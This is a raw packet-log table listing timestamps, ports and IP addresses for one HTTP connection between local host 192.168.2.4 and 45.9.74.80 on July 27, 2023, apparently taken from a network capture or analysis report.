Jul 27, 2023 18:27:01.075778008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075800896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075809956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075831890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.075834990 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.075877905 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.097096920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097156048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097229004 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097270966 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097287893 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.097312927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097327948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.097356081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097397089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097448111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097455978 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.097491980 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097531080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097543955 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.097575903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.097640991 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.098243952 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098292112 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098315001 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.098335028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098380089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098390102 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.098422050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098464012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098483086 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.098505974 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098550081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098591089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098601103 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.098656893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098701954 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098714113 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.098751068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098757982 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.098794937 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098839045 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098849058 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.098898888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098942995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.098953962 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.098989010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099033117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099076986 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099085093 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.099154949 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099203110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099210024 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.099251032 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099294901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099302053 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.099340916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099343061 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.099385977 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099431992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099437952 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.099477053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099522114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099529982 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.099571943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099617004 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099662066 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099674940 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.099708080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099756956 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099761963 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.099802971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099811077 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.099849939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099895000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099909067 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.099941969 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099986076 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.099991083 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.100033045 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.100087881 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.105602026 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.119940996 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120003939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120047092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120083094 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.120088100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120148897 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120187998 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.120189905 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120286942 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.120290995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120342016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120384932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120428085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120445013 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.120470047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.120498896 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.122193098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122322083 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.122333050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122379065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122421026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122447014 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.122467041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122509956 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122526884 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.122555017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122597933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122612953 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.122639894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122699976 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.122813940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122857094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122898102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122936964 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.122958899 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.122980118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.123038054 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.123038054 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.123084068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.123094082 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.128190041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128240108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128288984 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.128304958 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128349066 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128391981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128418922 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.128432989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128473997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128487110 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.128515005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128530979 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.128557920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128599882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128638983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128650904 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.128679991 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128720999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128742933 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.128762007 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128770113 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.128802061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128844023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128859043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.128884077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128928900 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.128954887 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.128968000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.129009008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.129024982 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.129049063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.129091978 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.129118919 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.129146099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.129206896 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.142767906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.142875910 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.142923117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.142963886 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.142967939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.143013954 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.143024921 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.143060923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.143105030 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.143150091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.143161058 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.143193960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.143239975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.143249989 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.143596888 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.144969940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145018101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145064116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145080090 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.145111084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145155907 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145162106 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.145201921 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145247936 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145256996 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.145293951 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145338058 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145364046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.145380020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145426035 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145468950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145476103 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.145517111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145564079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145606995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145638943 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.145651102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145663977 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.145695925 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145739079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145760059 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.145781994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145823002 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145833969 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.145867109 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145909071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145951986 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.145997047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146039009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146081924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146064043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146064043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146126032 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146168947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146178007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146178007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146212101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146255016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146260023 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146297932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146342039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146367073 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146384001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146397114 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146428108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146471024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146480083 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146512985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146559000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146562099 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146615028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146661043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146667957 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146707058 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146752119 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146754980 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146797895 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146842957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146847963 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146888018 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146933079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.146934986 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.146976948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147022009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147022963 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147068024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147111893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147114992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147157907 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147201061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147207975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147244930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147290945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147310972 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147334099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147378922 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147380114 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147425890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147469997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147485018 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147516012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147561073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147571087 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147605896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147650957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147658110 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147697926 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147742033 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147747993 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147789001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147835016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147838116 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147880077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147924900 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.147929907 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.147969961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.148015022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.148019075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.148061037 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.148106098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.148109913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.148152113 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.148196936 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.148199081 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.148241997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.148296118 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.148319006 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.148365974 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151556015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151601076 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151618004 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.151643991 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151680946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.151688099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151731014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151772022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151791096 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.151815891 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151858091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151869059 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.151900053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151906967 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.151942015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151983976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.151994944 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.152025938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152069092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152079105 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.152111053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152153015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152164936 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.152194023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152235985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152292013 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.152297020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152340889 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152381897 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152398109 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.152422905 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152432919 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.152466059 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152507067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152518988 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.152549028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152592897 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152599096 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.152636051 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152674913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152687073 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.152717113 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152755976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152796030 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152806044 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.152868032 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.152930021 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.165532112 CEST	80	49705	45.9.74.80	192.168.2.4
